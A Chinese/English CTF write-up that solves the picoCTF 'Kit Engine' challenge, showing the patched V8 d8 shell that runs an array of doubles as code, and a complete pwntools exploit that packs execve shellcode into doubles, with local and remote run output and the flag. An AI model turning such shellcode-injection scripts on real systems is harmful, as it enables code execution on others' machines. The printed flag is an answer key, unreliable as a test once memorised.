---
# System prepended metadata

title: PicoCTF - Kit Engine
tags: [PicoCTF, PWN, CTF]

---

# PicoCTF - Kit Engine
## Background
[Google V8 Engine](https://ithelp.ithome.com.tw/articles/10216397)
> V8 引擎是 Google 做出來讓 JS 跟瀏覽器溝通的的開源專案，這個引擎被使用的非常廣泛，在 Chrome 瀏覽器跟 Node.js ，以及桌面應用程式框架 Electron 之中都有他的身影。而在 V8 出現前，最早最早的 JavaScript 引擎，叫做 SpiderMonkey ，同時也是另一個知名瀏覽器 FireFox 的渲染引擎。

[Using d8](https://v8.dev/docs/d8)
> d8 is V8’s own developer shell.
>
> d8 is useful for running some JavaScript locally or debugging changes you have made to V8. Building V8 using GN for x64 outputs a d8 binary in out.gn/x64.optdebug/d8. You can call d8 with the --help argument for more information about usage and flags.

[Convert Bytes to Floating Point Numbers?](https://stackoverflow.com/questions/5415/convert-bytes-to-floating-point-numbers)
> ```python
> >>> import struct
> >>> struct.pack('f', 3.141592654)
> b'\xdb\x0fI@'
> >>> struct.unpack('f', b'\xdb\x0fI@')
> (3.1415927410125732,)
> >>> struct.pack('4f', 1.0, 2.0, 3.0, 4.0)
> '\x00\x00\x80?\x00\x00\x00@\x00\x00@@\x00\x00\x80@'
> ```

## Source code
:::spoiler Patch
```
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index e6fb20d152..35195b9261 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -979,6 +979,53 @@ struct ModuleResolutionData {
 
 }  // namespace
 
+uint64_t doubleToUint64_t(double d){
+  union {
+    double d;
+    uint64_t u;
+  } conv = { .d = d };
+  return conv.u;
+}
+
+void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  __asm__("int3");
+}
+
+void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
+  Isolate* isolate = args.GetIsolate();
+  if(args.Length() != 1) {
+    return;
+  }
+
+  double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  if (func == (double *)-1) {
+    printf("Unable to allocate memory. Contact admin\n");
+    return;
+  }
+
+  if (args[0]->IsArray()) {
+    Local<Array> arr = args[0].As<Array>();
+
+    Local<Value> element;
+    for (uint32_t i = 0; i < arr->Length(); i++) {
+      if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
+        Local<Number> val = element.As<Number>();
+        func[i] = val->Value();
+      }
+    }
+
+    printf("Memory Dump. Watch your endianness!!:\n");
+    for (uint32_t i = 0; i < arr->Length(); i++) {
+      printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]));
+    }
+
+    printf("Starting your engine!!\n");
+    void (*foo)() = (void(*)())func;
+    foo();
+  }
+  printf("Done\n");
+}
+
 void Shell::ModuleResolutionSuccessCallback(
     const FunctionCallbackInfo<Value>& info) {
   std::unique_ptr<ModuleResolutionData> module_resolution_data(
@@ -2201,40 +2248,15 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
 
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
-                       String::NewFromUtf8Literal(isolate, "global"));
+  // Add challenge builtin, and remove some unintented solutions
+  global_template->Set(isolate, "AssembleEngine", FunctionTemplate::New(isolate, AssembleEngine));
+  global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
-
   global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
-  global_template->Set(isolate, "printErr",
-                       FunctionTemplate::New(isolate, PrintErr));
-  global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write));
-  global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read));
-  global_template->Set(isolate, "readbuffer",
-                       FunctionTemplate::New(isolate, ReadBuffer));
-  global_template->Set(isolate, "readline",
-                       FunctionTemplate::New(isolate, ReadLine));
-  global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load));
-  global_template->Set(isolate, "setTimeout",
-                       FunctionTemplate::New(isolate, SetTimeout));
-  // Some Emscripten-generated code tries to call 'quit', which in turn would
-  // call C's exit(). This would lead to memory leaks, because there is no way
-  // we can terminate cleanly then, so we need a way to hide 'quit'.
   if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
-  global_template->Set(isolate, "testRunner",
-                       Shell::CreateTestRunnerTemplate(isolate));
-  global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
-  global_template->Set(isolate, "performance",
-                       Shell::CreatePerformanceTemplate(isolate));
-  global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-  // Prevent fuzzers from creating side effects.
-  if (!i::FLAG_fuzzing) {
-    global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
-  }
-  global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
 
 #ifdef V8_FUZZILLI
   global_template->Set(
@@ -2243,11 +2265,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
       FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
 #endif  // V8_FUZZILLI
 
-  if (i::FLAG_expose_async_hooks) {
-    global_template->Set(isolate, "async_hooks",
-                         Shell::CreateAsyncHookTemplate(isolate));
-  }
-
   return global_template;
 }
 
@@ -2449,10 +2466,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
             v8::Isolate::kMessageLog);
   }
 
-  isolate->SetHostImportModuleDynamicallyCallback(
+  /*isolate->SetHostImportModuleDynamicallyCallback(
       Shell::HostImportModuleDynamically);
   isolate->SetHostInitializeImportMetaObjectCallback(
-      Shell::HostInitializeImportMetaObject);
+      Shell::HostInitializeImportMetaObject);*/
 
 #ifdef V8_FUZZILLI
   // Let the parent process (Fuzzilli) know we are ready.
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a6a1037cff..4591d27f65 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -413,6 +413,9 @@ class Shell : public i::AllStatic {
     kNoProcessMessageQueue = false
   };
 
+  static void AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args);
+  static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args);
+
   static bool ExecuteString(Isolate* isolate, Local<String> source,
                             Local<Value> name, PrintResult print_result,
                             ReportExceptions report_exceptions,
```
:::
## Recon
這一題很有趣，不過我原本不知道v8或d8是啥東東，以為是類似老舊攝影機???但看了[^pico_pwn_kit_engine_nickchen][^pico_pwn_kit_engine_maple]的WP，發現沒有想像中的複雜，首先他給了一個d8(也就是local端可以使用的v8，類似psysh的感覺，可以執行js的環境)，然後他有給一個patch，所以不用管其他的部分，只要專注在他patch的內容即可。

1. diff
從patch file可以看得出來他新實作了三個function: `uint64_t doubleToUint64_t(double d)`, `void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args)`, `void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args)`，其中`Breakpoint`和`AssembleEngine`都是繼承Shell class，然後`AssembleEngine`需要傳入args的參數
2. Analyze `AssembleEngine` Function
在patch的33行中，會判斷傳入的args是不是array，然後array中每一個element都要是number，接著就會把value放到前面定義的func(其實就是function pointer)，再後面的for loop做的事情是把func中每一個element轉data type，從double轉成unsinged integer 64，接著就直接call這個function
3. Construct Payload
基於以上觀察，我們知道`AssembleEngine`可以直接執行我們給他的shellcode，只不過需要花心思在他的data type檢查，也就是args需要是array，且每一個element都必須是double才行

## Exploit - Build Shell Code & Transfer Data Type
```python=
from pwn import *
import struct

context.arch = 'amd64'

if args.REMOTE:
    ls = asm(shellcraft.execve(b"/bin/ls", ["ls"]))
    cat = asm(shellcraft.execve(b"/bin/cat", ["cat", "flag.txt"]))
    r = remote('mercury.picoctf.net', 48700)
else:
    ls = b'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.cho.mr\x01H1\x04$H\x89\xe7hmr\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
    cat = b'j\x01\xfe\x0c$H\xb8/bin/catPH\x89\xe7h.txtH\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8b`u\x01gm`fH1\x04$1\xf6Vj\x0c^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
    r = process(['python', 'server.py'])
log.info(f'ls shellcode: {ls}')
log.info(f'cat flag.txt shellcode: {cat}')

def Transfer2DoubleArray(shellcode):
    shell_array = []
    if len(shellcode) % 8 > 0:
        shellcode += (8 - len(shellcode) % 8) * b'\x00'
    for i in range(0, len(shellcode), 8):
        double_tmp = struct.unpack('d', shellcode[i:i+8])[0]
        shell_array.append(double_tmp)
    
    return shell_array



payload = f'AssembleEngine({Transfer2DoubleArray(ls)})'
r.recvuntil(b'Provide size. Must be < 5k:')
r.sendline(str(len(payload)).encode())
r.recvline()
r.sendline(payload.encode())
print(r.recvall().decode())
r.close()

if args.REMOTE:
    r = remote('mercury.picoctf.net', 48700)
else:
    r = process(['python', 'server.py'])
payload = f'AssembleEngine({Transfer2DoubleArray(cat)})'
r.recvuntil(b'Provide size. Must be < 5k:')
r.sendline(str(len(payload)).encode())
r.recvline()
r.sendline(payload.encode())
print(r.recvall().decode())
```
:::spoiler Local Result
```bash
$ python exp.py
[+] Starting local process '/home/sbk6401/anaconda3/envs/CTF/bin/python': pid 19347
[*] ls shellcode: b'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.cho.mr\x01H1\x04$H\x89\xe7hmr\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
[*] cat flag.txt shellcode: b'j\x01\xfe\x0c$H\xb8/bin/catPH\x89\xe7h.txtH\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8b`u\x01gm`fH1\x04$1\xf6Vj\x0c^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
[+] Receiving all data: Done (334B)
[*] Process '/home/sbk6401/anaconda3/envs/CTF/bin/python' stopped with exit code 0 (pid 19347)
AssembleEngine([7.748604185565308e-304, 7.001521162788231e+194, 1.773290430551938e-288, 1.0748503232447379e-301, 7.748605141607601e-304, 1.776650735790609e-302, 3.6509617888350745e+206, 4.1942076e-316])
File written. Running. Timeout is 20s
Run Complete
Stdout b'd8\nexp-nickchen.py\nexp.py\nflag.txt\nserver.py\nsource\n'
Stderr b''

[+] Starting local process '/home/sbk6401/anaconda3/envs/CTF/bin/python': pid 19366
[+] Receiving all data: Done (340B)
[*] Process '/home/sbk6401/anaconda3/envs/CTF/bin/python' stopped with exit code 0 (pid 19366)
AssembleEngine([8.191473375206089e-79, 3.775826202043335e+79, 1.1205295651588473e+253, 7.748604185565308e-304, 2.460307022775963e+257, 1.7734484618746183e-288, 4.089989556334856e+40, 1.7766596360849696e-302, 3.6509617888350745e+206, 4.1942076e-316])
File written. Running. Timeout is 20s
Run Complete
Stdout b'picoCTF{test_132}'
Stderr b''
```
:::
:::spoiler Remote Result
```bash
$ python exp.py REMOTE
[+] Opening connection to mercury.picoctf.net on port 48700: Done
[*] ls shellcode: b'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.cho.mr\x01H1\x04$H\x89\xe7hmr\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
[*] cat flag.txt shellcode: b'j\x01\xfe\x0c$H\xb8/bin/catPH\x89\xe7h.txtH\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8b`u\x01gm`fH1\x04$1\xf6Vj\x0c^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
[+] Receiving all data: Done (334B)
[*] Closed connection to mercury.picoctf.net port 48700
AssembleEngine([7.748604185565308e-304, 7.001521162788231e+194, 1.773290430551938e-288, 1.0748503232447379e-301, 7.748605141607601e-304, 1.776650735790609e-302, 3.6509617888350745e+206, 4.1942076e-316])
File written. Running. Timeout is 20s
Run Complete
Stdout b'd8\nflag.txt\nserver.py\nsource.tar.gz\nxinet_startup.sh\n'
Stderr b''

[+] Opening connection to mercury.picoctf.net on port 48700: Done
[+] Receiving all data: Done (362B)
[*] Closed connection to mercury.picoctf.net port 48700
AssembleEngine([8.191473375206089e-79, 3.775826202043335e+79, 1.1205295651588473e+253, 7.748604185565308e-304, 2.460307022775963e+257, 1.7734484618746183e-288, 4.089989556334856e+40, 1.7766596360849696e-302, 3.6509617888350745e+206, 4.1942076e-316])
File written. Running. Timeout is 20s
Run Complete
Stdout b'picoCTF{vr00m_vr00m_48f07b402a4020e0}\n'
Stderr b''
```
:::

Flag: `picoCTF{vr00m_vr00m_48f07b402a4020e0}`
## Reference
[^pico_pwn_kit_engine_nickchen]:[V8 exploitation - picoCTF Kit Engine](https://nickchen120235.github.io/2022/04/22/kit-engine.html)
[^pico_pwn_kit_engine_maple]:[Kit Engine - maple](https://blog.maple3142.net/2021/03/30/picoctf-2021-writeups/#kit-engine)